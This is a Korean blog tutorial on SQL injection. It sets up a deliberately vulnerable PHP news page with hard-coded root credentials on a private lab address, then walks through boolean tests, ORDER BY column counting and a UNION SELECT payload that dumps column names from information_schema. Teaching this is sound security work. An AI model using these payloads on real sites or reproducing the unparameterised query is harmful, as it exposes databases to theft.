SQL injection 실습 / Blind SQL injection

2017. 9. 5. 20:56WebHacking/Web




Blind SQL injection

① SELECT 쿼리 실행시의 취약점을 이용한다

② DB내의 정보를 유출시킨다


실습을 위해서 DB와 SQL injection취약점이 존재하는 사이트를 하나 만들겠습니다


[ http://192.168.6.123/view.php ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

$db = mysql_connect('localhost','root','password1!');
// mysql연결
mysql_select_db('blind');
// DB연결
 
$sql = "SELECT * FROM news WHERE no={$_GET[no]}";
// GET방식으로 전달받은 no에 일치하는 행 가져오기
$ret = mysql_query($sql);
// sql 실행
if$ret ){
  print "Welcome~ News Site~!!<br><br>";
  while$row = mysql_fetch_row($ret)){
// $row에는 sql실행결과 얻어진 모든 행들이 저장된다
    print "Title: $row[1] <br><br>";
// 현재 행의 2번째 컬럼 출력
    print "News: $row[2] <br>";
// 현재 행의 3번째 컬럼 출력
  }
}
?>
cs


[ mysql DB 및 테이블 생성 ]


생성한 Table:    anews , fnews, news


[ 익혀야할 개념 ]

*  UNION 연산자

mysql> Query1 union Query2

쿼리1과 쿼리2의 결과를 합해서 출력한다

[ 조건1 ] 쿼리1과 쿼리2의 사용하는 쿼리문은 같아야합니다 ( ex) SELECT * ... union SELECT * ... )

[ 조건2 ] 쿼리1과 쿼리2가 출력하는 열의 개수가 같아야합니다 


*  ;  연산자

mysql> Query1 ; Query2

쿼리1을 실행한 다음 쿼리2를 실행한다


[ 실행화면 ]



union 사용시 쿼리1과 쿼리2의 열의 개수가 다르면 " different number of columns " 오류가 발생합니다

( news테이블에는 컬럼이 3개이고 fnews테이블에는 컬럼이 4개라서 오류가 발생합니다 )

fnews의 4개의 컬럼을 가져오기 위해서 concat()이라는 함수를 이용하는 방법이 있습니다


concat ( A , B ):    문자 A와 B를 합쳐서 출력해준다


 mysql> SELECT no,title,concat( news, " / " , bigo ) FROM fnews WHERE no=3; 

=> This is 3 Fnews : news컬럼 값 , F bigo : bigo 컬럼 값


fnews테이블의 news컬럼과 bigo컬럼을 합쳐서 하나의 열에 출력해줍니다 ( 구분자를 위해서 " / " 를 추가해서 함수를 구성 )


[ UNION 실행화면 ]



[ Blind SQL injection 진행과정 ]


1. 해당 페이지에 injection 취약점이 있다고 어떻게 확인할 수 있을까 ?

=> And 연산자와 참or거짓 을 이용한다


[ 실습 ]

1> 입력 URL : http://192.168.6.123/view.php?no=2 and 1=1

=>  Query : SELECT * FROM news WHERE no=2 and 1=1

      no변수는 2 and 1=1 이며, and 이후의 1=1은 참이므로 쿼리문은 no=2인 news테이블의 행을 가져온다


2> 입력 URL : http://192.168.6.123/view.php?no=2 and 1=2

=>  Query : SELECT * FROM news WHERE no=2 and 1=2

      no변수는 2 and 1=2 이며, and 이후의 1=2는 조건식이 항상 거짓이므로 쿼리문은 실행되지 않는다


=> 이렇게 우리가 입력하는 값에 따라서 페이지가 정상작동하거나 오류가 발생하는 변화가 발생했을 때 취약점이 있다고 판단할 수  있다



2. union연산자를 사용하려면 컬럼의 개수를 알아야한다 어떻게 알아 낼 것인가?

=> 정렬( ORDER BY )을 활용한다


[ ORDER BY ]


ORDER BY [ 컬럼명 or 차례번호 ]

mysql> SELECT * FROM fnews ORDER BY 2:    2번째 컬럼을 기준으로 오름차순 정렬

mysql> SELECT * FROM fnews ORDER BY 10:    10번째 컬럼을 기준으로 오름차순 정렬 => 해당 컬럼이 존재하지 않아 오류가 발생

따라서 우리는 웹페이지에서 해당 SQL구문을 이용할 때 오류가 발생하지 않는 번호를 찾을 것이다


[ 실습 ]

입력 URL : http://192.168.6.123/view.php?no=2 order by 10

mysql> SELECT * from news ORDER BY 10

=> 에러

입력 URL : http://192.168.6.123/view.php?no=2 order by 4

mysql> SELECT * from news ORDER BY 4

=> 에러


입력 URL : http://192.168.6.123/view.php?no=2 order by 3

mysql> SELECT * from news ORDER BY 3

=> 실행성공


=> union 이전의 쿼리문에서 사용하는 컬럼의 개수는 3개인 것을 확인 할 수 있다


3. DB에서 사용하는 테이블과 컬럼명을 알아야 한다.

=> 추측을 통해서 직접 입력해가며 알아간다

=> or information_schema를 통해서 확인한다


[ information_schema ]


information_schema DB에는 해당 mysql에서 사용하는 정보들이 저장되어 있다


[ 컬럼명 확인 ]


information_schema DB의 COLUMNS 테이블에있는 column_name 열의 값들을 출력


[ 웹 페이지에서 활용하려면 ? ]


information_schema DB에서 아닌 blind DB에서는 information_schema DB의 컬럼 이름을 이용해서 데이터를 가져오려 한다

" DB명.컬럼명 " 을 활용한다

 mysql> SELECT column_name from information_schema.columns;



4. union,사용할 컬럼 수,사용할 컬럼명을 페이지에서 입력해보자


[ 최종 화면 ]


 http://192.168.6.123/view.php?no=2 union SELECT 1,column_name,3 FROM information_schema.columns 

=> Query:  SELECT * FROM news WHERE no=2 union SELECT 1,column_name,3 FROM information_schema.columns;

news테이블의 no=2인 행 데이터를 가져온 것과 information_schema DB의 columns테이블에 저장된 column_name의 데이터 가 합쳐진다


페이지 소스코드에 의해서 $ret변수에 데이터가 모두 저장되고 while 문에 의해서 컬럼명이 모두 출력되고 있다.

1 과 3은 union사용시 컬럼 개수를 맞춰주기 위해서 사용한 것이다